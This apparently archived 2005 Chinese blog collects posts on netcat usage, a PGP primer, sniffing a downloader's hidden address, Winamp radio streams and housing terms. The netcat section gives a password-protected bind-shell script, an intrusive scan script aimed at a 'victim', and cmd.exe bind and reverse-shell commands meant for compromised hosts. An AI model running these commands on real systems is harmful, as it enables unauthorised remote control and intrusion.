2005年02月27日
关于瑞士军刀(NC)的使用说明

nc这个小玩意儿应该大家耳熟能详,也用了N年了吧……这里不多讲废话,结合一些script说说它的使用技巧。(文中所举的script都来自于nc110.tgz的文件包)

一、基本使用

Quack# nc -h
[v1.10]
想要连接到某处: nc [-options] hostname port[s] [ports] …
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时

其中端口号可以指定一个或者用lo-hi式的指定范围。

二、用于传输文件——ncp

#! /bin/sh
## 类似于rcp,但是是用netcat在高端口做的
## 在接收文件的机器上做ncp targetfile
## 在发送文件的机器上做ncp sourcefile receivinghost
## 如果调用了 nzp ,会将传输文件压缩

## 这里定义你想使用的端口,可以自由选择
MYPORT=23456

## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改
# PATH=${HOME}:${PATH} ; export PATH

## 下面这几行检查参数输入情况
test $3 && echo too many args && exit 1
test ! $1 && echo no args? && exit 1
me=`echo $0 | sed ’s+.*/++’`
test $me = nzp && echo ‘[compressed mode]‘

# if second arg, it’s a host to send an [extant] file
to.
if test $2 ; then
test ! -f $1 && echo can’t find $1 && exit 1
if test $me = nzp ; then
compress -c < $1 | nc -v -w 2 $2 $MYPORT && exit 0
else
nc -v -w 2 $2 $MYPORT < $1 && exit 0
fi
echo transfer FAILED!
exit 1
fi

# 是否在接收文件机器当前目录有同名文件
if test -f $1 ; then
echo -n Overwrite $1?
read aa
test ! $aa = y && echo [punted!] && exit 1
fi
# 30 seconds oughta be pleeeeenty of time, but change if
you want.
if test $me = nzp ; then
# 注意这里nc的用法,结合了重定向符号和管道
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c >
$1 && exit 0
else
nc -v -w 30 -p $MYPORT -l < /dev/null > $1 && exit 0
fi
echo transfer FAILED!
# clean up, since even if the transfer failed, $1 is
already trashed
rm -f $1
exit 1

这样的话,我只要在A机器上先 QuackA# ncp ../abcd
listening on [any] 23456 …
然后在另一台机器B上
QuackB#ncp abcd 192.168.0.2
quackb [192.168.0.1] 23456 (?)
A机上出现
open connect to [192.168.0.2] from quackb [192.168.0.1]
1027
#
查看一下,文件传输完毕。

三、用于绑定端口——bsh

首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工具是无法利用的——要define一个GAPING_SECURITY_HOLE它才会提供-e选项。

#! /bin/sh
## 一个利用nc的绑定shell并且带有密码保护的脚本
## 带有一个参数,即端口号

NC=nc

case $1 in
?* )
LPN=$1
export LPN
sleep 1
#注意这里nc的用法,参数-l是lister,-e是执行重定向
echo -l -p $LPN -e $0 ; $NC -l -p $LPN -e $0 >
/dev/null 2>&1 &
echo launched on port $LPN
exit 0
;;
esac

# here we play inetd
echo -l -p $LPN -e $0 ; $NC -l -p $LPN -e $0 >
/dev/null 2>&1 &

while read qq ; do
case $qq in
# 这里就是弱密码保护了,密码是quack
quack )
cd /
exec csh -i
;;
esac
done

要看看它是怎么使用的么?
quack# ./bsh 6666 <——-输入,后面是程序输出
-l -p 6666 -e ./bsh
launched on port 6666
quack#
quack## nc localhost 6666 <———-输入
-l -p 6666 -e ./bsh
quack <———-输入,密码验证
Warning: imported path contains relative components
Warning: no access to tty (Bad file descriptor).
Thus no job control in this shell.
Cracker#

四、 用于端口扫描——probe

在我们常见的一些端口扫描程序中,如Vetescan这类以shell script写成的话,很多都需要系统中装有netcat,原因何在呢?看看下面的script,你或许会明白一些。

#! /bin/sh
## launch a whole buncha shit at yon victim in no
particular order; capture
## stderr+stdout in one place. Run as root for rservice
and low -p to work.
## Fairly thorough example of using netcat to collect a
lot of host info.
## Will set off every intrusion alarm in existence on a
paranoid machine!

# 该目录里有一些小工具
DDIR=../data
# 指定网关
GATE=192.157.69.11

# might conceivably wanna change this for different run
styles
UCMD=’nc -v -w 8′

test ! $1 && echo Needs victim arg && exit 1

echo ” | $UCMD -w 9 -r $1 13 79 6667 2>&1
echo ‘0′ | $UCMD $1 79 2>&1
# if LSRR was passed thru, should get refusal here:
# 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情
$UCMD -z -r -g $GATE $1 6473 2>&1
$UCMD -r -z $1 6000 4000-4004 111 53 2105 137-140 1-20
540-550 95 87 2>&1
# -s `hostname` may be wrong for some multihomed
machines
echo ‘UDP echoecho!’ | nc -u -p 7 -s `hostname` -w 3
$1 7 19 2>&1
echo ‘113,10158′ | $UCMD -p 10158 $1 113 2>&1
rservice bin bin | $UCMD -p 1019 $1 shell 2>&1
echo QUIT | $UCMD -w 8 -r $1 25 158 159 119 110 109
1109 142-144 220 23 2>&1
# newline after any telnet trash
echo ”
echo PASV | $UCMD -r $1 21 2>&1
echo ‘GET /’ | $UCMD -w 10 $1 80 81 210 70 2>&1
# sometimes contains useful directory info:
# 知道robots.txt是什么文件么?;)
echo ‘GET /robots.txt’ | $UCMD -w 10 $1 80 2>&1
# now the big red lights go on
# 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到
rservice bin bin 9600/9600 | $UCMD -p 1020 $1 login
2>&1
rservice root root | $UCMD -r $1 exec 2>&1
echo ‘BEGIN big udp — everything may look open if
packet-filtered’
data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u $1 2049 | od
-x 2>&1
# no wait-time, uses RTT hack
nc -v -z -u -r $1 111 66-70 88 53 87 161-164 121-123
213 49 2>&1
nc -v -z -u -r $1 137-140 694-712 747-770 175-180 2103
510-530 2>&1
echo ‘END big udp’
$UCMD -r -z $1 175-180 2000-2003 530-533 1524 1525 666
213 8000 6250 2>&1
# Use our identd-sniffer!
iscan $1 21 25 79 80 111 53 6667 6000 2049 119 2>&1
# this gets pretty intrusive, but what the fuck. Probe
for portmap first
if nc -w 5 -z -u $1 111 ; then
showmount -e $1 2>&1 #象showmount和rpcinfo的使用,可能会被逮到;)
rpcinfo -p $1 2>&1
fi
exit 0

感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,这样扫描会留下大量的痕迹,系统管理员会额外小心;)

多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里script目录下的那些脚本,从中获得一些思路。

讲四个命令

 

命令1:监听命令

nc -l -p port
nc -l -p port > e:\log.dat
nc -l -v -p port

参数解释:

-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息

提示:一般大家都爱用-vv

nc -l -p 80

这个很简单,监听80端口
如果机器上运行这个命令,端口80被认为是开放的,可以欺骗很多扫描器的哦!

nc -l -p 80 > e:\log.dat

呵呵,功能和上边一样,但是后边加了个“> e:\log.dat”我想,学过ECHO
那个命令的人都会知道吧,是在E盘创建一个log.dat的日志文件

nc -l -v -p 80

和上边命令相似,不过这次不是记录在文件里,而是会直接显示在运行着NC
的屏幕上。


呵呵,讲了这么多,来实践下

nc -l -v -p 80

然后在浏览器中输入本机IP:127.0.0.1
呵呵,看到什么?


同样,上边两个也是一样,大家自己试验一下吧

 

命令2:程序定向

nc -l -p port -t -e cmd.exe

本地机: nc -l -p port 或 nc -l -v -p port

目标机:nc -e cmd.exe ip port

参数解释:

-l、-p两个参数已经解释过了

-e;作用就是程序定向
-t:以telnet的形式来应答

例子

nc -l -p 5277 -t -e cmd.exe

知道运行在哪里吗?千万不要运行在自己的机器上,如果运行了,你机器
就会变成一台TELNET的服务器了,呵呵,解释一下:监听本地端口5277的
入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以TELNET的形式来响应连接要求。

说白了,其实就是让他成为一台TELNET的肉鸡,所以这个命令要运行在你的肉鸡上。。(话外音:说这么多遍当我们白痴啊,快往下讲!!!)

呵呵,咱们来找台肉鸡试试,我TELNET IP 5277
HOHO~~如何?

 

local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port

大家知道灰鸽子和神偷吧,这两款工具都是利用了反弹端口型的木马,
什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说
不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你
这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。


这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。为什么?
咳!!听我给你讲啊!!(先交100000000RMB学费)哇,别杀我啊!!)

nc -l -p 5277 (坚听本地5277端口)

同样也可以用

nc -l -v -p 5277

运行在本地

然后在远程机器上,想办法运行

nc -e cmd.exe ip 5277

(你可别真的打“ip”在肉机上啊)要打,xxx.xxx.xxx.xxx这样!!

呵呵,看看在本地机器上出现了什么?

这样就是反弹~~在本地机器上得到了一个SHELL

 

命令3:扫描端口

nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port


参数解释:

-z:将输入输出关掉,在扫描时使用

nc -v ip port

这个命令是针对某一个端口进行扫描

例如:

nc -v ip 135

扫描远程主机的135端口,这样获得了该端口的一些简单信息,但是针对某些端口,我们还可以获得更多的信息

例如:80端口

我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息


nc -v -z ip port-port

这个命令是用来扫描的一个命令,这个命令用于快速扫描TCP端口,而port-port则是指定了扫描的端口范围

例如:

nc -v -z ip 1-200

可以看到我机器上的1-200的TCP端口的开放情况


nc -v -z -u ip port-port

这个命令比上个命令多了个-u,这个命令的作用仍然是扫描端口,只是多了一个-u的参数,是用来扫UDP端口的

例如:

nc -v -z -u ip 1-200

这个命令就会扫1-200的UDP端口

 

命令4:传送文件(HOHO,I LIKE)

LOCAL MACHINE:nc -v -n ip port < x:\svr.exe
REMOTE MACHINE:nc -v -l -p port > y:\svr.exe

参数解释:

-n:指定数字的IP地址

这两个命令结合起来是用来传送文件的

首先,在远程机上运行命令:

nc -v -l -p 5277 > c:\pulist.exe

这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口

并把接受到的信息数据写到c:\pulist.exe中


这时候在本地机上运行

nc -v -n ip 5277 < e:\hack\pulist.exe

这个命令的意思就是,从本地E盘跟目录中读取pulist.exe文件的内容,并把这些数据发送到ip的5277端口上

这样远程主机就会自动创建一个pulist.exe文件。。呵呵,你想到了吗??


上边是NC的比较常用的方法,希望通过这些,大家能发挥自己的想象力,创造出更多更精彩的命令来,
因为NC的用法不仅仅局限于这几种而已哦!!对NC来说,只有想不到,没有做不到的!!!

2005年02月20日

                                                                              PGP 简介 
 
                       by Loking  01/23/1997 
 
 
 
    本文主要介绍一些关于PGP实现的原理和背景知识。其他关于PGP的安装、使用等 
 
请参考与本文同时提供的其他文档。 
 
    PGP—Pretty Good Privacy,是一个基于RSA公匙加密体系的邮件加密软件。可以 
 
用它对你的邮件保密以防止非授权者阅读,它还能对你的邮件加上数字签名从而使收 
 
信人可以确信邮件是你发来的。它让你可以安全地和你从未见过的人们通讯,事先 
 
并不需要任何保密的渠道用来传递密匙。它采用了:审慎的密匙管理,一种RSA和传 
 
统加密的杂合算法,用于数字签名的邮件文摘算法,加密前压缩等,还有一个良好的 
 
人机工程设计。它的功能强大,有很快的速度。而且它的源代码是免费的。 
 
 
   实际上PGP的功能还不止上面说的: PGP可以用来加密文件,还可以用PGP代替 
 
UUencode 生成 RADIX 64 格式(就是MIME 的 BASE 64格式)的编码文件。 
 
 
   PGP 的创始人是美国的 Phil Zimmermann。他的创造性在于他把RSA公匙体系的方 
 
便和传统加密体系的高速度结合起来,并且在数字签名和密匙认证管理机制上有巧妙 
 
的设计。因此PGP成为几乎最流行的公匙加密软件包。 
 
 
   PGP是一种供大众使用的加密软件。加密是为了安全,私密权是一种基本人权。在 
 
现代社会里,电子邮件和网络上的文件传输已经成为生活的一部分。邮件的安全问题 
 
就日益突出了,大家都知道在Internet上传输的数据是不加密的。如果你自己不保护 
 
自己的信息,第三者就会轻易获得你的隐秘。还有一个问题就是信息认证,如何让收 
 
信人确信邮件没有被第三者篡改,就需要数字签名技术。RSA公匙体系的特点使它非 
 
常适合用来满足上述两个要求:保密性(Privacy)和认证性(Authentication)。 
 
 
    RSA(Rivest-Shamir-Adleman)算法是一种基于大数不可能质因数分解假设的公 
 
匙体系。简单地说就是找两个很大的质数,一个公开给世界,一个不告诉任何人。一 
 
个称为“公匙”,另一个叫“私匙”(Public key & Secret key or Private key)。 
 
这两个密匙是互补的,就是说用公匙加密的密文可以用私匙解密,反过来也一样。假 
 
设甲要寄信给乙,他们互相知道对方的公匙。甲就用乙的公匙加密邮件寄出,乙收到 
 
后就可以用自己的私匙解密出甲的原文。由于没别人知道乙的私匙所以即使是甲本人 
 
也无法解密那封信,这就解决了信件保密的问题。另一方面由于每个人都知道乙的公 
 
匙,他们都可以给乙发信,那么乙就无法确信是不是甲的来信。认证的问题就出现了, 
 
这时候数字签名就有用了。 
 
 
    在说明数字签名前先要解释一下什么是“邮件文摘”(message digest),简单 
 
地讲就是对一封邮件用某种算法算出一个最能体现这封邮件特征的数来,一旦邮件 
 
有任何改变这个数都会变化,那么这个数加上作者的名字(实际上在作者的密匙里) 
 
还有日期等等,就可以作为一个签名了。确切地说PGP是用一个128位的二进制数作 
 
为“邮件文摘”的,用来产生它的算法叫MD5(message digest 5),MD5的提出者是 
 
Ron Rivest,PGP中使用的代码是由Colin Plumb 编写的,MD5本身是公用软件。所以 
 
PGP的法律条款中没有提到它。MD5是一种单向散列算法,它不像CRC校验码,很难找 
 
到一份替代的邮件与原件具有同样的MD5特征值。 
 
 
    回到数字签名上来,甲用自己的私匙将上述的128位的特征值加密,附加在邮 
 
件后,再用乙的公匙将整个邮件加密。(注意这里的次序,如果先加密再签名的话, 
 
别人可以将签名去掉后签上自己的签名,从而篡改了签名)。这样这份密文被乙收到 
 
以后,乙用自己的私匙将邮件解密,得到甲的原文和签名,乙的PGP也从原文计算出 
 
一个128位的特征值来和用甲的公匙解密签名所得到的数比较,如果符合就说明这份 
 
邮件确实是甲寄来的。这样两个安全性要求都得到了满足。 
 
 
    PGP还可以只签名而不加密,这适用于公开发表声明时,声明人为了证实自己的 
 
身份(在网络上只能如此了),可以用自己的私匙签名。这样就可以让收件人能确认 
 
发信人的身份,也可以防止发信人抵赖自己的声明。这一点在商业领域有很大的应用 
 
前途,它可以防止发信人抵赖和信件被途中篡改。 
 
 
    那么为什么说PGP用的是RSA和传统加密的杂合算法呢?因为RSA算法计算量极大 
 
在速度上不适合加密大量数据,所以PGP实际上用来加密的不是RSA本身,而是采用 
 
了一种叫IDEA的传统加密算法。我先解释一下什么叫传统加密,简单地说就是用一个 
 
密匙加密明文,然后用同样的密匙解密。这种方法的代表是DES(US Federal Data 
 
Encryption Standard),也就是乘法加密,它的主要缺点就是密匙的传递渠道解决 
 
不了安全性问题,不适合网络环境邮件加密需要。IDEA是一个有专利的算法,专利 
 
持有者是ETH和一个瑞士公司:Ascom-Tech AG。非商业用途的IDEA实现不用向他们 
 
交纳费用。IDEA的加(解)密速度比RSA快得多,所以实际上PGP是以一个随机生成 
 
密匙(每次加密不同)用IDEA算法对明文加密,然后用RSA算法对该密匙加密。这样 
 
收件人同样是用RSA解密出这个随机密匙,再用IDEA解密邮件本身。这样的链式加密 
 
就做到了既有RSA体系的保密性,又有IDEA算法的快捷性。PGP的创意有一半就在这 
 
一点上了,为什么RSA体系70年代就提出来,一直没有推广应用呢?速度太慢!那么 
 
PGP创意的另一半在哪儿呢?下面我再谈PGP的密匙管理。 
 
 
    一个成熟的加密体系必然要有一个成熟的密匙管理机制配套。公匙体制的提出 
 
就是为了解决传统加密体系的密匙分配过程难以保密的缺点。比如网络hacker们常 
 
用的手段之一就是“监听”,如果密匙是通过网络传送就太危险了。举个例子: 
 
Novell  Netware 的老版本中,用户的密码是以明文在线路中传输的,这样监听者 
 
轻易就获得了他人的密码。当然 Netware 4.1 中数据包头的用户密码现在是加密 
 
的了。对PGP来说公匙本来就要公开,就没有防监听的问题。但公匙的发布中仍然 
 
存在安全性问题,例如公匙的被篡改(Public Key Tampering),这可能是公匙密码 
 
体系中最大的漏洞,因为大多数新手不能很快发现这一点。你必须确信你拿到的公 
 
匙属于它看上去属于的那个人。为了把这个问题说清楚,我举个例子,然后再说如 
 
何正确地用PGP堵住这个漏洞。 
 
 
    以你和Alice的通信为例,假设你想给Alice发封信,那你必须有Alice的公匙, 
 
你从BBS上下载了Alice的公匙,并用它加密了信件用BBS的Email功能发给了Alice。 
 
不幸地,你和Alice都不知道,另一个用户叫Charlie的用户潜入BBS,把他自己用 
 
Alice的名字生成的密匙对中的公匙替换了Alice的公匙。那你用来发信的公匙就不 
 
是Alice的而是Charlie的,一切看来都很正常,因为你拿到的公匙的用户名是: 
 
“Alice”。于是Charlie就可以用他手中的私匙来解密你给Alice的信,甚至他还 
 
可以用Alice真正的公匙来转发你给Alice的信,这样谁都不会起疑心,他如果想改 
 
动你给Alice的信也没问题。更有甚者,他还可以伪造Alice的签名给你或其他人发 
 
信,因为你们手中的公匙是伪造的,你们会以为真是Alice的来信。 
 
 
    防止这种情况出现的最好办法是避免让任何其他人有机会篡改公匙,比如直接从 
 
Alice手中得到她的公匙,然而当她在千里之外或无法见到时,这是很困难的。PGP发 
 
展了一种公匙介绍机制来解决这个问题。举例来说:如果你和Alice有一个共同的朋友 
 
David,而David知道他手中的Alice的公匙是正确的(关于如何认证公匙,PGP还有一 
 
种方法,后面会谈到,这里假设David已经和Alice认证过她的公匙)。这样David可以 
 
用他自己的私匙在Alice的公匙上签名(就是用上面讲的签名方法),表示他担保这个 
 
公匙属于Alice。当然你需要用David的公匙来校验他给你的Alice的公匙,同样David 
 
也可以向Alice认证你的公匙,这样David就成为你和Alice之间的“介绍人”。这样 
 
Alice或David就可以放心地把David签过字的Alice的公匙上载到BBS上让你去拿,没 
 
人可能去篡改它而不被你发现,即使是BBS的管理员。这就是从公共渠道传递公匙的 
 
安全手段。 
 
 
    有人会问:那你怎么安全地得到David的公匙呢,这不是个先有鸡还是先有蛋的 
 
问题吗?确实有可能你拿到的David的公匙也是假的,但这就要求这个捣蛋者参与这 
 
整个过程,他必须对你们三人都很熟悉,还要策划很久,这一般不可能。当然,PGP 
 
对这种可能也有预防的建议,那就是由一个大家普遍信任的人或机构担当这个角色。 
 
他被称为“密匙侍者”或“认证权威”,每个由他签字的公匙都被认为是真的,这样 
 
大家只要有一份他的公匙就行了,认证这个人的公匙是方便的,因为他广泛提供这个 
 
服务,假冒他的公匙是很极困难的,因为他的公匙流传广泛。这样的“权威”适合由 
 
非个人控制组织或政府机构充当,现在已经有等级认证制度的机构存在。 
 
 
    对于那些非常分散的人们,PGP更赞成使用私人方式的密匙转介方式,因为这样 
 
有机的非官方途径更能反映出人们自然的社会交往,而且人们也能自由地选择信任的 
 
人来介绍。总之和不认识的人们之间的交往一样。每个公匙有至少一个“用户名” 
 
(User ID),请尽量用自己的全名,最好再加上本人的Email地址,以免混淆。 
 
 
    注意!你所必须遵循的一条规则是:在你使用任何一个公匙之前,一定要首先 
 
认证它!!!无论你受到什么诱惑,当然会有这种诱惑,你都不要,绝对不要,直接 
 
信任一个从公共渠道(尤其是那些看起来保密的)得来的公匙,记得要用熟人介绍的 
 
公匙,或者自己与对方亲自认证。同样你也不要随便为别人签字认证他们的公匙,就 
 
和你在现实生活中一样,家里的房门钥匙你是只会交给十分信任的人的。 
 
 
    下面,我讲讲如何通过电话认证密匙。每个密匙有它们自己的标识(keyID), 
 
keyID是一个八位十六进制数,两个密匙具有相同keyID的可能性是几十亿分之一,而 
 
且PGP还提供了一种更可靠的标识密匙的方法:“密匙指纹”(key’s fingerprint)。 
 
每个密匙对应一串数字(十六个两位十六进制数),这个指纹重复的可能就更微乎其 
 
微了。而且任何人无法指定生成一个具有某个指纹的密匙,密匙是随机生成的,从指 
 
纹也无法反推出密匙来。这样你拿到某人的公匙后就可以和他在电话上核对这个指纹, 
 
从而认证他的公匙。如果你无法和Alice通电话,你可以和David通电话认证David 
 
的公匙,从而通过David认证了Alice的公匙,这就是直接认证和间接介绍的结合。 
 
 
    这样又引出一种方法,就是把具不同人签名的自己的公匙收集在一起,发送到 
 
公共场合,这样可以希望大部分人至少认识其中一个人,从而间接认证了你的公匙。 
 
同样你签了朋友的公匙后应该寄回给他,这样就可以让他可以通过你被你的其他朋友 
 
所认证。有点意思吧,和现实社会中人们的交往一样。PGP会自动为你找出你拿到的 
 
公匙中有哪些是你的朋友介绍来的,那些是你朋友的朋友介绍来的,哪些则是朋友 
 
的朋友的朋友介绍的……它会帮你把它们分为不同的信任级别,让你参考决定对它 
 
们的信任程度。你可以指定某人有几层转介公匙的能力,这种能力是随着认证的传 
 
递而递减的。 
 
 
    转介认证机制具有传递性,这是个有趣的问题。PGP的作者Phil Zimmermann 
 
说过一句话: 
 
   “ 信赖不具有传递性;我有个我相信决不撒谎的朋友。可是他是个认定总统 
      决不撒谎的傻瓜,可很显然我并不认为总统决不撒谎。” 
 
 
    关于公匙的安全性问题是PGP安全的核心,我在这里就不细说了。和传统单密匙 
 
体系一样,私匙的保密也是决定性的。相对公匙而言,私匙不存在被篡改的问题, 
 
但存在泄露的问题。RSA的私匙是很长的一个数字,用户不可能将它记住,PGP的办法 
 
是让用户为随机生成的RSA私匙指定一个口令(pass phase)。只有通过给出口令才能 
 
将私匙释放出来使用,用口令加密私匙的方法保密程度和PGP本身是一样的。所以私 
 
匙的安全性问题实际上首先是对用户口令的保密。当然私匙文件本身失密也很危险, 
 
因为破译者所需要的只是用穷举法试探出你的口令了,虽说很困难但毕竟是损失了一 
 
层安全性。在这里只用简单地记住一点,要像任何隐私一样保藏你的私匙,不要让 
 
任何人有机会接触到它,最好只在大脑中保存它,不要写在纸上。 
 
 
    PGP在安全性问题上的审慎考虑体现在PGP的各个环节。比如每次加密的实际密匙 
 
是个随机数,大家都知道计算机是无法产生真正的随机数的。PGP程序对随机数的产 
 
生是很审慎的,关键的随机数像RSA密匙的产生是从用户敲键盘的时间间隔上取得随机 
 
数种子的。对于磁盘上的 randseed.bin 文件是采用和邮件同样强度的加密的。这有 
 
效地防止了他人从你的randseed.bin文件中分析出你的加密实际密匙的规律来。 
 
 
    在这里我提一下PGP的加密前预压缩处理,PGP内核使用PKZIP算法来压缩加密前 
 
的明文。一方面对电子邮件而言,压缩后加密再经过7bits编码密文有可能比明文更 
 
短,这就节省了网络传输的时间。另一方面,明文经过压缩,实际上相当于经过一次 
 
变换,信息更加杂乱无章,对明文攻击的抵御能力更强。PGP中使用的PKZIP算法是经 
 
过原作者同意的。PKZIP算法是一个公认的压缩率和压缩速度都相当好的压缩算法。 
 
在PGP中使用的是PKZIP 2.0版本兼容的算法。 
 
 
    好了,关于PGP安全性的问题我会在《PGP的安全性》一文中专门介绍。我上面讲 
 
了这么多只是为了让大家知道PGP会是非常安全的,只要你自己遵循正确的使用方法。 
 
关于PGP的安装和使用请参考《PGP 2.6.3i的安装与使用》一文。如果在看英文文档时 
 
有些不太明白的词汇,请试试能不能从《PGP名词解释》一文中找到线索。PGP 2.6.3i 
 
是我推荐大家使用的PGP版本,有关这个版本的详细问题请参见《PGPi 问答集》一文。 
 
 
    在今天的Internet上随处可见用PGP签名的文章,PGP的版本也在飞快地更新,据说 
 
PGP 3.0 再有几个月就要推出了。世界上越来越多的人们在使用PGP,我们中国人也应 
 
该重视保护自己合法的私密权。我翻译整理这几篇文章就是为了在国内宣传推广PGP的 
 
使用。尽管它还是个新生事物,可是我们要看到在网际空间(CyberSpace)中它肯定能 
 
迅速成长起来,中国虽然起步晚,但比美国也差不太多,我们应该迎头赶上。 
 
 
××××××××××××××××××××××××××××××××××××××× 
 
    这篇《PGP 简介》与《PGP 2.6.3i的安装与使用》、《PGP 名词解释》、《PGPi 
 
问答集》还有《PGP的安全性》,是我在参考PGP内附的文档和一些关于PGP安全性的 
 
文章后写的。我只是一个一般计算机爱好者,拿到PGP后觉得很不错,希望大家都能够 
 
利用上它,就利用考试后回家前这段时间写了这些东西。由于我水平太低,时间又很 
 
仓促,肯定有不少错误。只是觉得咱们大陆也应该有这类数据安全的软件产品让大家 
 
使用,而英文的东西又不利于推广,就硬着头皮翻译了,可是又没时间全部翻译PGP的 
 
文档,只好就自己的理解写了一些,太杂乱了,没什么头绪,大家先凑合看吧。我还 
 
想等有时间再翻译PGP的全部文档,希望大家多多指教,好让我少犯错误。 
 
                                                 Loking 
                                               01/22/1997 

2005年02月19日

orgpub downloader下载地址的破解
首先得感谢stevwu的极大帮助
破解地址:pdl://G54DeX4vXCLzoZr1G14hmNo9GDDi8A/8/6YELs5WZcplyFETyMJU5fvLSMLnqLjsySX/vrolidbKz2ZNwKvfK01qFoBE5F+qKYuX3Y10YfMrbc2LaRQODt3CbgcLmhR+K/
早在很久以前,论坛里就有人要求破解。不过这软件兼容性不好,以前用不了,好了,现在换了个系统可以用了。好了,废话不多说,现在就讲方法
pub downloader软件经过asproect 1.123rc1加壳,对winhex和嗅探软件都进行了自我保护,所以说要破解他确实有点难度。那么在ppg破解的时候我已经说过,可以用两种方法破解类似的东西,那么既然软件都进行的了限制,我们又该怎么办呢。难道要硬碰硬的把他破解吗。当然不是,软件画蛇添足地加了代理功能。这个可以利用了,既然本地用不了,我们就在代理上监听。
在网络上另一台机器用nc在命令行下监听808端口 nc -vv -l -p 808
然后在pub的代理设置里添上对方的ip和端口,点下载,再看对方的截获的数据如下
G:\>nc -vv -l -p 808
listening on [any] 808 …
218.71.*.*: inverse host lookup failed: h_errno 11004: NO_DATA
connect from (UNKNOWN) [218.71.*.*] 11141: NO_DATA
GET ftp://211.75.194.101/%20%20%20%20%20%20%20%20%20%20/com1%20/by%20keaideala/p
ubdl.tmp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
User-Agent: Mozilla/3.0 (compatible)
Host: 211.75.194.101
Pragma: no-cache

很明显  ftp://211.75.194.101/%20%20%20%20%20%20%20%20%20%20/com1%20/by%20keaideala/pubdl.tmp 就是地址
后来我又想想,何必怎么麻烦呢,既然可以用别人当假代理,为何不直接把自己当成假代理呢
那么我就把代理服务器的地址设成了本地的ip
得到了相同的结果
C:\>nc -l -p 808
GET ftp://211.75.194.101/%20%20%20%20%20%20%20%20%20%20/com1%20/by%20keaideala/p
ubdl.tmp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
User-Agent: Mozilla/3.0 (compatible)
Host: 211.75.194.101
Pragma: no-cache
破解完毕
破解本身没什么技术含量,仅是个思路
luax
2005/01/10
CopyRight:www.77169.com 转贴于 华夏黑客同盟 http://www.77169.org

2005年02月18日

 教如何用WINAMP来二十四小时不间断播放 
1.电台
  WINAMP网站提供了专供WINAMP3播放的网络电台地址,通过这些地址可以24小时不停的收听来自世界上的任何一个网络电台,并且提供了多种音乐种类供各种音乐爱护收听!

电台地址:
winamp电台

操作步骤:

1.点击进入上面的电台地址页面,找寻你所要听的国家名字,比如要听中国的歌就在查找中输入:CHINA就可以了.

2.记录地址,在WINAMP播放列表里右击正在播放的电台,找到”view file info”记录下地址如:http://12.34.56.78:1000 类型地址.

3.添加到WINAMP里,在WINAMP最左下角有个ADD.点击选择第三个,输入地址.在播放列表里会显示出来,添加多个后,在WINAMP最右下角有个”PLAYLIST”点击后选择”save playlist as…”保存到你记得住的地方取个名字就可以了.

4.调出电台地址.同样最右下角的”playlist”点击后选择”load list”就OK啦~
——————————————————————————————————
  OK~这样一来,以后想要听歌直接打开WINAMP调用电台后播放就可以了。不错吧?晕,还不满意?要求别太高哦~嘿嘿。这样不就是二十四小时不断播放了么?!下面给大家几个电台的IP地址。

日本音乐电台——我最喜欢的台,时常播放各种日本音乐~
复制地址–http://64.62.252.140:8068

韩国音乐电台——韩国的音乐台还有主持人,看来是决心要搞出世界名气了!
复制地址–http://211.115.220.93:10004

DJ DANCE——在家听可能会吵些,恐怕有了这台,自己开个DISCO都没问题了!
复制地址–http://64.236.34.97:80/stream/1003

eclectic rock——很放松身心的音乐台
复制地址–http://64.236.34.97:80/stream/2001

[color=#ff0000]Classical,24H 播放世界名曲如贝多芬等——轻柔美妙的音乐,众多大师在网络中给你最轻快的音乐享受!
复制地址–http://64.236.34.97:80/stream/1006

添加中文电台:
电台名字:”tony’s radio,shanghai,chian”
类型:chinese pop
复制地址–http://218.1.71.130:7456

电台名字:Lztvnet
类型:pop music of china
复制地址–http://219.234.32.251.:8000 

什么是商品房、经济适用房?

使用权房是指由国家以及国有企业、事业单位投资兴建的住宅,政府以规定的租金标准出租给居民的公有住房。

私房也称私有住宅,私产住宅。它是由个人或家庭购买、建造的住宅。在农村,农民的住宅基本上是自建私有住宅。公有住房通过住宅消费市场出售给个人和家庭,也就转为私有住宅。随着住宅商品化的推进,城市私有住宅的比重将会随着房改的推进而不断提高。

公房也称公有住房,国有住宅。它是指由国家以及国有企业、事业单位投资兴建、销售的住宅,在住宅未出售之前,住宅的产权(拥有权、占有权、处分权、收益权)归国家所有。目前居民租用的公有住房,按房改政策分为两大类,一类是可售公有住房,一类是不可售公有住房。上述两类房均为使用权房。

集资房是改变住房建设由国家和单位统包的制度,实行政府、单位、个人三方面共同承担,通过筹集资金,建造的房屋。职工个人可按房价全额或部分出资、信贷、建材供应、税费等方面给予部分减免。集资所建住房的权属,按出资比例确定。个人按房价全额出资的,拥有全部产权,个人部分出资的,拥有部分产权。

